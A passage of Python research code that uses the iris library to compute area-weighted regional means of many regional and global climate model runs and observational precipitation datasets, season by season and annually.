iris.analysis.cartography.area_weights(GPCCYR)\r\n    \r\n    #We want to plot the mean for the whole region so we need a mean of all the lats and lons\r\n    CCCmaSON_mean = CCCmaSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CCCmaSON_grid_areas)                                        \r\n    CLMcomSON_mean = CLMcomSON.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=CLMcomSON_grid_areas)\r\n    DMISON_mean = DMISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=DMISON_grid_areas)     \r\n    KNMISON_mean = KNMISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=KNMISON_grid_areas)\r\n    MPIESON_mean = MPIESON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIESON_grid_areas)\r\n    SMHISON_mean = SMHISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=SMHISON_grid_areas)\r\n    \r\n    CCCmaCanRCMSON_mean = CCCmaCanRCMSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CCCmaCanRCMSON_grid_areas) \r\n    CCCmaSMHISON_mean = CCCmaSMHISON.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=CCCmaSMHISON_grid_areas)\r\n    CNRMSON_mean = CNRMSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMSON_grid_areas)                                               \r\n    CNRMSMHISON_mean = CNRMSMHISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMSMHISON_grid_areas)  \r\n    CSIROSON_mean = CSIROSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CSIROSON_grid_areas)\r\n    ICHECDMISON_mean = ICHECDMISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECDMISON_grid_areas) \r\n    ICHECCCLMSON_mean = ICHECCCLMSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECCCLMSON_grid_areas)\r\n    ICHECKNMISON_mean = ICHECKNMISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECKNMISON_grid_areas)\r\n    ICHECMPISON_mean = ICHECMPISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECMPISON_grid_areas)\r\n    ICHECSMHISON_mean = ICHECSMHISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECSMHISON_grid_areas)\r\n    IPSLSON_mean = IPSLSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=IPSLSON_grid_areas)\r\n    MIROCSON_mean = MIROCSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MIROCSON_grid_areas)\r\n    MOHCCCLMSON_mean = MOHCCCLMSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCCCLMSON_grid_areas)\r\n    MOHCKNMISON_mean = MOHCKNMISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCKNMISON_grid_areas)\r\n    MOHCSMHISON_mean = MOHCSMHISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCSMHISON_grid_areas)\r\n    MPICCLMSON_mean = MPICCLMSON.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=MPICCLMSON_grid_areas)                                              \r\n    MPIREMOSON_mean = MPIREMOSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIREMOSON_grid_areas)                                              \r\n    MPISMHISON_mean = MPISMHISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPISMHISON_grid_areas)\r\n    NCCDMISON_mean = NCCDMISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NCCDMISON_grid_areas)\r\n    NCCSMHISON_mean = NCCSMHISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NCCSMHISON_grid_areas) \r\n    NOAASON_mean = NOAASON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NOAASON_grid_areas)\r\n    \r\n    CanESM2SON_mean = CanESM2SON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CanESM2SON_grid_areas)                        \r\n    CNRMGSON_mean = CNRMGSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMGSON_grid_areas) \r\n    MK3SON_mean = MK3SON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MK3SON_grid_areas) \r\n    EARTHSON_mean = EARTHSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=EARTHSON_grid_areas)  \r\n    EARTH3SON_mean = EARTH3SON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=EARTH3SON_grid_areas)  \r\n    GFDLSON_mean = GFDLSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GFDLSON_grid_areas)\r\n    HadGEM2SON_mean = HadGEM2SON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=HadGEM2SON_grid_areas)\r\n    IPSLGSON_mean = IPSLGSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=IPSLGSON_grid_areas)\r\n    MIROCGSON_mean = MIROCGSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MIROCGSON_grid_areas)         \r\n    MPISON_mean = MPISON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPISON_grid_areas)\r\n    NorESM1SON_mean = NorESM1SON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NorESM1SON_grid_areas)\r\n    \r\n    CRUESON_mean = CRUESON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CRUESON_grid_areas) \r\n    UDelESON_mean = UDelESON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=UDelESON_grid_areas) \r\n    GPCCESON_mean = GPCCESON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GPCCESON_grid_areas) \r\n    CRUSON_mean = CRUSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CRUSON_grid_areas) \r\n    UDelSON_mean = UDelSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=UDelSON_grid_areas)\r\n    GPCCSON_mean = GPCCSON.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GPCCSON_grid_areas) \r\n        \r\n    CCCmaDJF_mean = CCCmaDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CCCmaDJF_grid_areas)                                        \r\n    CLMcomDJF_mean = CLMcomDJF.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=CLMcomDJF_grid_areas)\r\n    DMIDJF_mean = DMIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=DMIDJF_grid_areas)     \r\n    KNMIDJF_mean = KNMIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=KNMIDJF_grid_areas)\r\n    MPIEDJF_mean = MPIEDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIEDJF_grid_areas)\r\n    SMHIDJF_mean = SMHIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=SMHIDJF_grid_areas)\r\n    \r\n    CCCmaCanRCMDJF_mean = CCCmaCanRCMDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CCCmaCanRCMDJF_grid_areas)  \r\n    CCCmaSMHIDJF_mean = CCCmaSMHIDJF.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=CCCmaSMHIDJF_grid_areas)\r\n    CNRMDJF_mean = CNRMDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMDJF_grid_areas)                                               \r\n    CNRMSMHIDJF_mean = CNRMSMHIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMSMHIDJF_grid_areas)  \r\n    CSIRODJF_mean = CSIRODJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CSIRODJF_grid_areas)\r\n    ICHECDMIDJF_mean = ICHECDMIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECDMIDJF_grid_areas) \r\n    ICHECCCLMDJF_mean = ICHECCCLMDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECCCLMDJF_grid_areas)\r\n    ICHECKNMIDJF_mean = ICHECKNMIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECKNMIDJF_grid_areas)\r\n    ICHECMPIDJF_mean = ICHECMPIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECMPIDJF_grid_areas)\r\n    ICHECSMHIDJF_mean = ICHECSMHIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECSMHIDJF_grid_areas)\r\n    IPSLDJF_mean = IPSLDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=IPSLDJF_grid_areas)\r\n    MIROCDJF_mean = MIROCDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MIROCDJF_grid_areas)\r\n    MOHCCCLMDJF_mean = MOHCCCLMDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCCCLMDJF_grid_areas)\r\n    MOHCKNMIDJF_mean = MOHCKNMIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCKNMIDJF_grid_areas)\r\n    MOHCSMHIDJF_mean = MOHCSMHIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCSMHIDJF_grid_areas)\r\n    MPICCLMDJF_mean = MPICCLMDJF.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=MPICCLMDJF_grid_areas)                                              \r\n    MPIREMODJF_mean = MPIREMODJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIREMODJF_grid_areas)                                              \r\n    MPISMHIDJF_mean = MPISMHIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPISMHIDJF_grid_areas)\r\n    NCCDMIDJF_mean = NCCDMIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NCCDMIDJF_grid_areas)\r\n    NCCSMHIDJF_mean = NCCSMHIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NCCSMHIDJF_grid_areas) \r\n    NOAADJF_mean = NOAADJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NOAADJF_grid_areas)\r\n    \r\n    CanESM2DJF_mean = CanESM2DJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CanESM2DJF_grid_areas)     \r\n    CNRMGDJF_mean = CNRMGDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMGDJF_grid_areas)           \r\n    MK3DJF_mean = MK3DJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MK3DJF_grid_areas)  \r\n    EARTHDJF_mean = EARTHDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=EARTHDJF_grid_areas)  \r\n    EARTH3DJF_mean = EARTH3DJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=EARTH3DJF_grid_areas)  \r\n    GFDLDJF_mean = GFDLDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GFDLDJF_grid_areas)\r\n    HadGEM2DJF_mean = HadGEM2DJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=HadGEM2DJF_grid_areas)\r\n    IPSLGDJF_mean = IPSLGDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=IPSLGDJF_grid_areas)\r\n    MIROCGDJF_mean = MIROCGDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MIROCGDJF_grid_areas) \r\n    MPIDJF_mean = MPIDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIDJF_grid_areas)\r\n    NorESM1DJF_mean = NorESM1DJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NorESM1DJF_grid_areas)\r\n    \r\n    CRUEDJF_mean = CRUEDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CRUEDJF_grid_areas) \r\n    UDelEDJF_mean = UDelEDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=UDelEDJF_grid_areas) \r\n    GPCCEDJF_mean = GPCCEDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GPCCEDJF_grid_areas) \r\n    CRUDJF_mean = CRUDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CRUDJF_grid_areas) \r\n    UDelDJF_mean = UDelDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=UDelDJF_grid_areas)\r\n    GPCCDJF_mean = GPCCDJF.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GPCCDJF_grid_areas) \r\n        \r\n    CCCmaMAM_mean = CCCmaMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CCCmaMAM_grid_areas)                                        \r\n    CLMcomMAM_mean = CLMcomMAM.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=CLMcomMAM_grid_areas)\r\n    DMIMAM_mean = DMIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=DMIMAM_grid_areas)     \r\n    KNMIMAM_mean = KNMIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=KNMIMAM_grid_areas)\r\n    MPIEMAM_mean = MPIEMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIEMAM_grid_areas)\r\n    SMHIMAM_mean = SMHIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=SMHIMAM_grid_areas)\r\n    \r\n    CCCmaCanRCMMAM_mean = CCCmaCanRCMMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CCCmaCanRCMMAM_grid_areas)     \r\n    CCCmaSMHIMAM_mean = CCCmaSMHIMAM.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=CCCmaSMHIMAM_grid_areas)\r\n    CNRMMAM_mean = CNRMMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMMAM_grid_areas)                                               \r\n    CNRMSMHIMAM_mean = CNRMSMHIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMSMHIMAM_grid_areas)  \r\n    CSIROMAM_mean = CSIROMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CSIROMAM_grid_areas)\r\n    ICHECDMIMAM_mean = ICHECDMIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECDMIMAM_grid_areas) \r\n    ICHECCCLMMAM_mean = ICHECCCLMMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECCCLMMAM_grid_areas)\r\n    ICHECKNMIMAM_mean = ICHECKNMIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECKNMIMAM_grid_areas)\r\n    ICHECMPIMAM_mean = ICHECMPIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECMPIMAM_grid_areas)\r\n    ICHECSMHIMAM_mean = ICHECSMHIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECSMHIMAM_grid_areas)\r\n    IPSLMAM_mean = IPSLMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=IPSLMAM_grid_areas)\r\n    MIROCMAM_mean = MIROCMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MIROCMAM_grid_areas)\r\n    MOHCCCLMMAM_mean = MOHCCCLMMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCCCLMMAM_grid_areas)\r\n    MOHCKNMIMAM_mean = MOHCKNMIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCKNMIMAM_grid_areas)\r\n    MOHCSMHIMAM_mean = MOHCSMHIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCSMHIMAM_grid_areas)\r\n    MPICCLMMAM_mean = MPICCLMMAM.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=MPICCLMMAM_grid_areas)                                              \r\n    MPIREMOMAM_mean = MPIREMOMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIREMOMAM_grid_areas)                                              \r\n    MPISMHIMAM_mean = MPISMHIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPISMHIMAM_grid_areas)\r\n    NCCDMIMAM_mean = NCCDMIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NCCDMIMAM_grid_areas)\r\n    NCCSMHIMAM_mean = NCCSMHIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NCCSMHIMAM_grid_areas) \r\n    NOAAMAM_mean = NOAAMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NOAAMAM_grid_areas)\r\n    \r\n    CanESM2MAM_mean = CanESM2MAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CanESM2MAM_grid_areas) \r\n    CNRMGMAM_mean = CNRMGMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMGMAM_grid_areas)     \r\n    MK3MAM_mean = MK3MAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MK3MAM_grid_areas) \r\n    EARTHMAM_mean = EARTHMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=EARTHMAM_grid_areas) \r\n    EARTH3MAM_mean = EARTH3MAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=EARTH3MAM_grid_areas) \r\n    GFDLMAM_mean = GFDLMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GFDLMAM_grid_areas)\r\n    HadGEM2MAM_mean = HadGEM2MAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=HadGEM2MAM_grid_areas)\r\n    IPSLGMAM_mean = IPSLGMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=IPSLGMAM_grid_areas)\r\n    MIROCGMAM_mean = MIROCGMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MIROCGMAM_grid_areas)            \r\n    MPIMAM_mean = MPIMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIMAM_grid_areas)\r\n    NorESM1MAM_mean = NorESM1MAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NorESM1MAM_grid_areas)\r\n       \r\n    CRUEMAM_mean = CRUEMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CRUEMAM_grid_areas) \r\n    UDelEMAM_mean = UDelEMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=UDelEMAM_grid_areas)    \r\n    GPCCEMAM_mean = GPCCEMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GPCCEMAM_grid_areas) \r\n    CRUMAM_mean = CRUMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CRUMAM_grid_areas) \r\n    UDelMAM_mean = UDelMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=UDelMAM_grid_areas) \r\n    GPCCMAM_mean = GPCCMAM.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GPCCMAM_grid_areas) \r\n    \r\n    CCCmaJJA_mean = CCCmaJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CCCmaJJA_grid_areas)                                        \r\n    CLMcomJJA_mean = CLMcomJJA.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=CLMcomJJA_grid_areas)\r\n    DMIJJA_mean = DMIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=DMIJJA_grid_areas)     \r\n    KNMIJJA_mean = KNMIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=KNMIJJA_grid_areas)\r\n    MPIEJJA_mean = MPIEJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIEJJA_grid_areas)\r\n    SMHIJJA_mean = SMHIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=SMHIJJA_grid_areas)\r\n    \r\n    CCCmaCanRCMJJA_mean = CCCmaCanRCMJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CCCmaCanRCMJJA_grid_areas)   \r\n    CCCmaSMHIJJA_mean = CCCmaSMHIJJA.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=CCCmaSMHIJJA_grid_areas)\r\n    CNRMJJA_mean = CNRMJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMJJA_grid_areas)                                               \r\n    CNRMSMHIJJA_mean = CNRMSMHIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMSMHIJJA_grid_areas)  \r\n    CSIROJJA_mean = CSIROJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CSIROJJA_grid_areas)\r\n    ICHECDMIJJA_mean = ICHECDMIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECDMIJJA_grid_areas) \r\n    ICHECCCLMJJA_mean = ICHECCCLMJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECCCLMJJA_grid_areas)\r\n    ICHECKNMIJJA_mean = ICHECKNMIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECKNMIJJA_grid_areas)\r\n    ICHECMPIJJA_mean = ICHECMPIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECMPIJJA_grid_areas)\r\n    ICHECSMHIJJA_mean = ICHECSMHIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECSMHIJJA_grid_areas)\r\n    IPSLJJA_mean = IPSLJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=IPSLJJA_grid_areas)\r\n    MIROCJJA_mean = MIROCJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MIROCJJA_grid_areas)\r\n    MOHCCCLMJJA_mean = MOHCCCLMJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCCCLMJJA_grid_areas)\r\n    MOHCKNMIJJA_mean = MOHCKNMIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCKNMIJJA_grid_areas)\r\n    MOHCSMHIJJA_mean = MOHCSMHIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCSMHIJJA_grid_areas)\r\n    MPICCLMJJA_mean = MPICCLMJJA.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=MPICCLMJJA_grid_areas)                                              \r\n    MPIREMOJJA_mean = MPIREMOJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIREMOJJA_grid_areas)                                              \r\n    MPISMHIJJA_mean = MPISMHIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPISMHIJJA_grid_areas)\r\n    NCCDMIJJA_mean = NCCDMIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NCCDMIJJA_grid_areas)\r\n    NCCSMHIJJA_mean = NCCSMHIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NCCSMHIJJA_grid_areas) \r\n    NOAAJJA_mean = NOAAJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NOAAJJA_grid_areas)\r\n    \r\n    CanESM2JJA_mean = CanESM2JJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CanESM2JJA_grid_areas)  \r\n    CNRMGJJA_mean = CNRMGJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMGJJA_grid_areas)    \r\n    MK3JJA_mean = MK3JJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MK3JJA_grid_areas)\r\n    EARTHJJA_mean = EARTHJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=EARTHJJA_grid_areas)\r\n    EARTH3JJA_mean = EARTH3JJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=EARTH3JJA_grid_areas)\r\n    GFDLJJA_mean = GFDLJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GFDLJJA_grid_areas)\r\n    HadGEM2JJA_mean = HadGEM2JJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=HadGEM2JJA_grid_areas)\r\n    IPSLGJJA_mean = IPSLGJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=IPSLGJJA_grid_areas)\r\n    MIROCGJJA_mean = MIROCGJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MIROCGJJA_grid_areas)         \r\n    MPIJJA_mean = MPIJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIJJA_grid_areas)\r\n    NorESM1JJA_mean = NorESM1JJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NorESM1JJA_grid_areas)\r\n       \r\n    CRUEJJA_mean = CRUEJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CRUEJJA_grid_areas) \r\n    UDelEJJA_mean = UDelEJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=UDelEJJA_grid_areas)    \r\n    GPCCEJJA_mean = GPCCEJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GPCCEJJA_grid_areas) \r\n    CRUJJA_mean = CRUJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CRUJJA_grid_areas) \r\n    UDelJJA_mean = UDelJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=UDelJJA_grid_areas) \r\n    GPCCJJA_mean = GPCCJJA.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GPCCJJA_grid_areas) \r\n        \r\n    CCCmaYR_mean = CCCmaYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CCCmaYR_grid_areas) \r\n    CLMcomYR_mean = CLMcomYR.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=CLMcomYR_grid_areas)\r\n    DMIYR_mean = DMIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=DMIYR_grid_areas)     \r\n    KNMIYR_mean = KNMIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=KNMIYR_grid_areas)\r\n    MPIEYR_mean = MPIEYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIEYR_grid_areas)\r\n    SMHIYR_mean = SMHIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=SMHIYR_grid_areas)\r\n    \r\n    CCCmaCanRCMYR_mean = CCCmaCanRCMYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CCCmaCanRCMYR_grid_areas)   \r\n    CCCmaSMHIYR_mean = CCCmaSMHIYR.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=CCCmaSMHIYR_grid_areas)\r\n    CNRMYR_mean = CNRMYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMYR_grid_areas)                                               \r\n    CNRMSMHIYR_mean = CNRMSMHIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMSMHIYR_grid_areas)  \r\n    CSIROYR_mean = CSIROYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CSIROYR_grid_areas)\r\n    ICHECDMIYR_mean = ICHECDMIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECDMIYR_grid_areas) \r\n    ICHECCCLMYR_mean = ICHECCCLMYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECCCLMYR_grid_areas)\r\n    ICHECKNMIYR_mean = ICHECKNMIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECKNMIYR_grid_areas)\r\n    ICHECMPIYR_mean = ICHECMPIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECMPIYR_grid_areas)\r\n    ICHECSMHIYR_mean = ICHECSMHIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=ICHECSMHIYR_grid_areas)\r\n    IPSLYR_mean = IPSLYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=IPSLYR_grid_areas)\r\n    MIROCYR_mean = MIROCYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MIROCYR_grid_areas)\r\n    MOHCCCLMYR_mean = MOHCCCLMYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCCCLMYR_grid_areas)\r\n    MOHCKNMIYR_mean = MOHCKNMIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCKNMIYR_grid_areas)\r\n    MOHCSMHIYR_mean = MOHCSMHIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MOHCSMHIYR_grid_areas)\r\n    MPICCLMYR_mean = MPICCLMYR.collapsed(['latitude', 'longitude'],iris.analysis.MEAN, weights=MPICCLMYR_grid_areas)                                              \r\n    MPIREMOYR_mean = MPIREMOYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIREMOYR_grid_areas)                                              \r\n    MPISMHIYR_mean = MPISMHIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPISMHIYR_grid_areas)\r\n    NCCDMIYR_mean = NCCDMIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NCCDMIYR_grid_areas)\r\n    NCCSMHIYR_mean = NCCSMHIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, 